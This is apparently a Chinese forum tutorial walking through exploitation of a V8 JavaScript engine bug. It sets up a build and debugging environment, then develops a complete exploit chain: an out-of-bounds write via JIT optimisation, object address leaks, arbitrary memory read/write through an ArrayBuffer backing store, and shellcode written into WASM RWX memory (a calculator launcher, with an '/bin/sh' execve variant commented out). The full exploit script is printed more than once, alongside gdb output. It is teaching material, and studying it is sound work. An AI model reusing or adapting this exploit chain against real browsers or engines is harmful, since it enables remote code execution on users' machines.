其他
手把手教你入门V8漏洞利用
>>>> 1、安装deptools
1、安装deptools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
vi ~/.bashrc
在最后一行输入:
export PATH=$PATH:/path/to/depot_tools
>>>> 2、安装ninja
2、安装ninja
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
# clone并且configure
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.bashrc
# /path/to/ninja改成ninja的目录
>>>> 3、拉去V8主线代码
3、拉去V8主线代码
fetch v8
gclient sync
>>>> 4、gdb插件安装
4、gdb插件安装
source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py
>>>> 5、安装pwngdb插件,辅助调试
5、安装pwngdb插件,辅助调试
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
source /home/jltxgcy/code/v8/tools/gdbinit
source /home/jltxgcy/code/v8/tools/gdb-v8-support.py
source /home/jltxgcy/pwndbg/gdbinit.py //第5步自动安装的
>>>> 6、编译代码
6、编译代码
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
>>>> 1、bug修复记录
1、bug修复记录
git checkout b474b3102bd4a95eafcdb68e0e44656046132bc9
gclient sync
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug/
>>>> 2、漏洞poc.js
2、漏洞poc.js
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);//原本长度16
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000,fun优化后a1的index变为21,超过了原本的index16,出现越界写,将a2的数组的长度修改为65535
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);//未优化调用
%OptimizeFunctionOnNextCall(fun);//根据未优化调用传递的参数,优化fun代码
fun(...a3); // "..." convert array to arguments list,调用优化后的fun代码
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
console.log(a2[i]);
}
./d8 --allow-natives-syntax poc.js
65535
1.1
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
undefined
2.77530312163714e-310
1.06890129382663e-310
1.1515464254871e-310
1.39064994160909e-309
1.06890129374126e-310
1.1
1.06890129374126e-310
2.77530312163714e-310
1.06890129374126e-310
1.06890129382663e-310
1.06890129374126e-310
1.1515464254871e-310
1.06890129374126e-310
1.39064994160909e-309
1.06890129374126e-310
1.06890129374126e-310
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
%DebugPrint(a1); //新增,打印a1内存布局
%DebugPrint(a2); //新增,打印a2内存布局
%SystemBreak();//下断点,程序会停在这里
console.log(a2.length); //65535
for (let i = 0; i < 32; i++) {
console.log(a2[i]);
}
jltxgcy@jltxgcy-VirtualBox:~/code/v8/out.gn/x64.debug$ gdb ./d8
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 184 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./d8...done.
pwndbg> set args --allow-natives-syntax poc.js
pwndbg> r
Starting program: /home/jltxgcy/code/v8/out.gn/x64.debug/d8 --allow-natives-syntax poc.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f8fb523a700 (LWP 28133)]
DebugPrint: 0x11cd6ed85629: [JSArray] //a1
- map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2f1112710ac1 <JSArray[0]>
- elements: 0x11cd6ed85599 <FixedDoubleArray[16]> [HOLEY_DOUBLE_ELEMENTS]
- length: 16
- properties: 0x35bec4f80c21 <FixedArray[0]> {
#length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x11cd6ed85599 <FixedDoubleArray[16]> {
0: 1.1
1-15: <the_hole>
}
0x2b345b402f29: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: HOLEY_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x2b345b402ed9 <Map(PACKED_DOUBLE_ELEMENTS)>
- prototype_validity cell: 0x05d83ba80609 <Cell value= 1>
- instance descriptors #1: 0x2f11127114c9 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x2f1112711469 <TransitionArray[4]>Transition array #1:
0x35bec4f84b79 <Symbol: (elements_transition_symbol)>: (transition to PACKED_ELEMENTS) -> 0x2b345b402f79 <Map(PACKED_ELEMENTS)>
- prototype: 0x2f1112710ac1 <JSArray[0]>
- constructor: 0x2f1112710889 <JSFunction Array (sfi = 0x5d83ba8d309)>
- dependent code: 0x35bec4f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
DebugPrint: 0x11cd6ed856d9: [JSArray] //a2
- map: 0x2b345b402f29 <Map(HOLEY_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x2f1112710ac1 <JSArray[0]>
- elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> [HOLEY_DOUBLE_ELEMENTS]
- length: 65535 //长度变为65535 a1[21] = 1.39064994160909e-309
- properties: 0x35bec4f80c21 <FixedArray[0]> {
#length: 0x05d83ba801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x11cd6ed85649 <FixedDoubleArray[65535]> { //a1[41] = 1.39064994160909e-309
0: 1.1
1-15: <the_hole>
16: 2.347e-310
17: 2.91961e-310
18: 9.67085e-311
pwndbg> job 0x11cd6ed85649
19: 1.39065e-3090x11cd6ed85649: [FixedDoubleArray]
- map: 0x35bec4f81459 <Map>
- length: 65535 //长度也被修改65535
0: 1.1
1-15: <the_hole>
16: 2.347e-310
17: 2.91961e-310
18: 9.67085e-311
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0xffff00000000
>>>> 3、泄露对象地址
3、泄露对象地址
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var dt = new typeConvert();
/*---------------------------get oob array-------------------------*/
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0x2a00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};
//search the objLeak.tag
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xdead00000000){
offset1 = i-1; //a2[offset1] -> objLeak.leak
break;
}
}
function addressOf(target){
objLeak.leak = target;
let leak = dt.f2i(a2[offset1]);
return leak;
}
//test
%DebugPrint(objLeak);
%SystemBreak();
console.log("address of objTest : " + hex(addressOf(objTest)));
%DebugPrint(objTest);
DebugPrint: 0x1e330d086219: [JS_OBJECT_TYPE]
- map: 0x22c2d4d0aa99 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
- elements: 0x1b513bb00c21 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1b513bb00c21 <FixedArray[0]> {
#leak: 4660 (data field 0)
#tag: 57005 (data field 1)
}
0x22c2d4d0aa99: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x22c2d4d0aa49 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x281a3f880609 <Cell value= 1>
- instance descriptors (own) #2: 0x29ec48fa6dc1 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x29ec48f81f91 <Object map = 0x22c2d4d00229>
- constructor: 0x29ec48f81fc9 <JSFunction Object (sfi = 0x281a3f88c361)>
- dependent code: 0x1b513bb002c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
pwndbg> telescope 0x1e330d086218
00:0000│ 0x1e330d086218 —▸ 0x22c2d4d0aa99 ◂— 0x500001b513bb001
01:0008│ 0x1e330d086220 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
... ↓
03:0018│ 0x1e330d086230 ◂— 0x123400000000
04:0020│ 0x1e330d086238 ◂— 0xdead00000000
05:0028│ 0x1e330d086240 —▸ 0x22c2d4d0ab39 ◂— 0x400001b513bb001
06:0030│ 0x1e330d086248 —▸ 0x1b513bb00c21 ◂— 0x1b513bb007
a = [2, "test", 5555555555, 5.1];
%DebugPrint(a);
%SystemBreak();
DebugPrint: 0xc3466384bf1: [JSArray]
- map: 0x0594c5202f79 <Map(PACKED_ELEMENTS)> [FastProperties]
- prototype: 0x28e956e90ac1 <JSArray[0]>
- elements: 0x0c3466384b91 <FixedArray[4]> [PACKED_ELEMENTS (COW)]
- length: 4
- properties: 0x03423c380c21 <FixedArray[0]> {
#length: 0x37f737f801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x0c3466384b91 <FixedArray[4]> {
0: 2
1: 0x37f737f90b49 <String[4]: test>
2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
3: 0x28e956ea4c11 <HeapNumber 5.1>
}
pwndbg> job 0x0c3466384b91
0xc3466384b91: [FixedArray]
- map: 0x03423c380801 <Map>
- length: 4
0: 2
1: 0x37f737f90b49 <String[4]: test>
2: 0x28e956ea4c01 <HeapNumber 5.55556e+09>
3: 0x28e956ea4c11 <HeapNumber 5.1>
pwndbg> telescope 0x0c3466384b90
00:0000│ 0xc3466384b90 —▸ 0x3423c380801 ◂— 0x3423c3801
01:0008│ 0xc3466384b98 ◂— 0x400000000 //长度为5,smi
02:0010│ 0xc3466384ba0 ◂— 0x200000000 //a[0],smi
03:0018│ 0xc3466384ba8 —▸ 0x37f737f90b49 ◂— 0x8e000003423c3804//a[1],对象
04:0020│ 0xc3466384bb0 —▸ 0x28e956ea4c01 ◂— 0x3423c3805//a[2],对象
05:0028│ 0xc3466384bb8 —▸ 0x28e956ea4c11 ◂— 0x66000003423c3805//a[3],对象
pwndbg> telescope 0x28e956ea4c00
00:0000│ 0x28e956ea4c00 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│ 0x28e956ea4c08 ◂— 0x41f4b230ce300000 //5555555555按照IEE754存在内存中的值,可以自己用上面的网站进行转换
pwndbg> telescope 0x28e956ea4c10
00:0000│ 0x28e956ea4c10 —▸ 0x3423c380561 ◂— 0x2000003423c3801
01:0008│ 0x28e956ea4c18 ◂— 0x4014666666666666//5.1按照IEE754存在内存中的值
a = [2,3];
%DebugPrint(a);
%SystemBreak();
DebugPrint: 0x235f19a04bc9: [JSArray]
- map: 0x1ec508002d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
- prototype: 0x0e606e210ac1 <JSArray[0]>
- elements: 0x235f19a04b79 <FixedArray[2]> [PACKED_SMI_ELEMENTS (COW)]
- length: 2
- properties: 0x07997b300c21 <FixedArray[0]> {
#length: 0x1d112ab801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x235f19a04b79 <FixedArray[2]> {
0: 2
1: 3
}
pwndbg> x/10gx 0x1fa4c2204b78
0x1fa4c2204b78: 0x00001a9949200801 0x0000000200000000//长度
0x1fa4c2204b88: 0x0000000200000000//a[0] smi 0x0000000300000000 //a[1] smi
a = [2,3.1];
%DebugPrint(a);
%SystemBreak();
DebugPrint: 0x143437604c09: [JSArray]
- map: 0x0b43da402ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x256781f90ac1 <JSArray[0]>
- elements: 0x143437604be9 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x00ac15680c21 <FixedArray[0]> {
#length: 0x35b1053801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x143437604be9 <FixedDoubleArray[2]> {
0: 2
1: 3.1
}
pwndbg> telescope 0x143437604be8
00:0000│ 0x143437604be8 —▸ 0xac15681459 ◂— 0xac156801
01:0008│ 0x143437604bf0 ◂— 0x200000000 //长度为2
02:0010│ 0x143437604bf8 ◂— 0x4000000000000000 //a[0] IEE746存储
03:0018│ 0x143437604c00 ◂— 0x4008cccccccccccd //a[1] IEE746存储
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;//1.39064994160909e-309
let tmp = Array.from(this.u32);//[65555,0]
return tmp[1] * 0x100000000 + tmp[0];//0xFFFF00000000
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){//281470681743360(0xFFFF00000000的10机制)
let vall = hex(val);//转换为"0x0000FFFF00000000"字符串
let tmp = [];
tmp[0] = vall.slice(10, );//"00000000"字符串
tmp[1] = vall.slice(2, 10);//"0000FFFF"字符串
tmp[0] = parseInt(tmp[0], 16);//0
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);//65535,字符串值按照16进制算,转换为10进制数
this.u32.set(tmp);//刚才过程的逆过程,每4个字节一设置
return this.f64[0];//返回1.39064994160909e-309
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
var objTest = {'a':'b'};
//search the objLeak.tag
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xdead00000000){ //找到0xdead00000000
offset1 = i-1; //a2[offset1] -> objLeak.leak
break;
}
}
function addressOf(target){
objLeak.leak = target;
let leak = dt.f2i(a2[offset1]);//泄露对象地址
return leak;
}
//test
%DebugPrint(objLeak);
%SystemBreak();
console.log("address of objTest : " + hex(addressOf(objTest)));
%DebugPrint(objTest);
address of objTest : 0x00000cfd1f006241
DebugPrint: 0xcfd1f006241: [JS_OBJECT_TYPE]
- map: 0x1ddbc868ab39 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2eafa2081f91 <Object map = 0x1ddbc8680229>
- elements: 0x1a9b7ed00c21 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1a9b7ed00c21 <FixedArray[0]> {
#a: 0x2eafa20a4da1 <String[1]: b> (data field 0)
}
>>>> 4、任意地址读写
4、任意地址读写
/*---------------------------arbitrary read and write-------------------------*/
var buf = new ArrayBuffer(0xbeef);
var offset2;
var dtView = new DataView(buf);
%DebugPrint(buf)
%SystemBreak();
//search the buf.size
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xbeef){
offset2 = i+1; //a2[offset2] -> buf.backing_store
break;
}
}
function write64(addr, value){
a2[offset2] = dt.i2f(addr);//传入的addr和value都是整型,先要转换为浮点型,举个例子addr等于0xffff00000000(281470681743360),转换为浮点型1.39064994160909e-309,最后在内存中存储的地址还是0xffff00000000(参考浮点数在内存中存储,前面讲了)。此时backing_store已经被赋值为目标地址
dtView.setFloat64(0, dt.i2f(value), true);//可以对目标地址写了,i2f转换原理同上分析
}
function read64(addr, str=false){
a2[offset2] = dt.i2f(addr);//backing_store已经被赋值为目标地址
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = '' //我们举个例子目标地址中存放的内容是0xFFFF00000000
tmp[1] = hex(dtView.getUint32(0)).slice(10,);//"FFFF0000",后面会 转换为"0000FFFF"
tmp[0] = hex(dtView.getUint32(4)).slice(10,);//"0000000"
for(let i=3; i>=0; i--){//大小端转换
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1] //"0000FFFF" + "00000000"
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};//281470681743360(0xFFFF00000000)
}
//test
write64(addressOf(objTest)+0x18-1, 0xdeadbeef);
console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));
DebugPrint: 0x176aac288e31: [JSArrayBuffer]
- map: 0x02dee5902399 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x25367e30ea31 <Object map = 0x2dee59023e9>
- elements: 0x3fda8cf80c21 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x55efd4fc5b00 //ArrayBuffer是向这个地址读写数值
- byte_length: 48879 //长度0xbeef
- neuterable
- properties: 0x3fda8cf80c21 <FixedArray[0]> {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}
pwndbg> telescope 0x176aac288e30
00:0000│ 0x176aac288e30 —▸ 0x2dee5902399 ◂— 0x800003fda8cf801
01:0008│ 0x176aac288e38 —▸ 0x3fda8cf80c21 ◂— 0x3fda8cf807
... ↓
03:0018│ 0x176aac288e48 ◂— 0xbeef //ArrayBuffer长度0xbeef
04:0020│ 0x176aac288e50 —▸ 0x55efd4fc5b00 ◂— 0x0
05:0028│ 0x176aac288e58 ◂— 0x2
06:0030│ 0x176aac288e60 ◂— 0x0
>>>> 5、利用WASM执行shellcode
5、利用WASM执行shellcode
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var data = read64(sharedInfo+0x8-0x1);
var instance = read64(data+0x10-0x1);
var memoryRWX = (read64(instance+0xe8-0x1));
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));
// sys_execve('/bin/sh')
// var shellcode = [
// '2fbb485299583b6a',
// '5368732f6e69622f',
// '050f5e5457525f54'
// ];
// pop up a calculator
var shellcode = [
'636c6163782fb848',
'73752fb848500000',
'8948506e69622f72',
'89485750c03148e7',
'3ac0c748d23148e6',
'4944b84850000030',
'48503d59414c5053',
'485250c03148e289',
'00003bc0c748e289',
'050f00'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
// console.log(hex(val));
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}
var dt = new typeConvert();
/*---------------------------get oob array-------------------------*/
function fun(arg) {
let x = arguments.length;
a1 = new Array(0x10);
a1[0] = 1.1;
a2 = new Array(0x10);
a2[0] = 1.1;
a1[(x >> 16) * 21] = 1.39064994160909e-309; // 0xffff00000000
a1[(x >> 16) * 41] = 1.39064994160909e-309; // 0x2a00000000
}
var a1, a2;
var a3 = new Array();
a3.length = 0x11000;
for (let i = 0; i < 3; i++) fun(1);
%OptimizeFunctionOnNextCall(fun);
fun(...a3); // "..." convert array to arguments list
/*---------------------------leak object-------------------------*/
var objLeak = {'leak' : 0x1234, 'tag' : 0xdead};
//var objTest = {'a':'b'};
//search the objLeak.tag
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xdead00000000){
offset1 = i-1; //a2[offset1] -> objLeak.leak
break;
}
}
function addressOf(target){
objLeak.leak = target;
let leak = dt.f2i(a2[offset1]);
return leak;
}
//test
//console.log("address of objTest : " + hex(addressOf(objTest)));
//%DebugPrint(objTest);
/*---------------------------arbitrary read and write-------------------------*/
var buf = new ArrayBuffer(0xbeef);
var offset2;
var dtView = new DataView(buf);
//search the buf.size
for(let i=0; i<0xffff; i++){
if(dt.f2i(a2[i]) == 0xbeef){
offset2 = i+1; //a2[offset2] -> buf.backing_store
break;
}
}
function write64(addr, value){
a2[offset2] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
function read64(addr, str=false){
a2[offset2] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};
}
//test
//write64(addressOf(objTest)+0x18-1, 0xdeadbeef);
//console.log('read in objTest+0x18 : ' + hex(read64(addressOf(objTest)+0x18-1)));
//%DebugPrint(objTest);
//%SystemBreak();
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;
var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var data = read64(sharedInfo+0x8-0x1);
var instance = read64(data+0x10-0x1);
var memoryRWX = (read64(instance+0xe8-0x1));
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));
// sys_execve('/bin/sh')
// var shellcode = [
// '2fbb485299583b6a',
// '5368732f6e69622f',
// '050f5e5457525f54'
// ];
// pop up a calculator
var shellcode = [
'636c6163782fb848',
'73752fb848500000',
'8948506e69622f72',
'89485750c03148e7',
'3ac0c748d23148e6',
'4944b84850000030',
'48503d59414c5053',
'485250c03148e289',
'00003bc0c748e289',
'050f00'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();
看雪ID:jltxgcy
https://bbs.pediy.com/user-620204.htm
推荐文章++++
好书推荐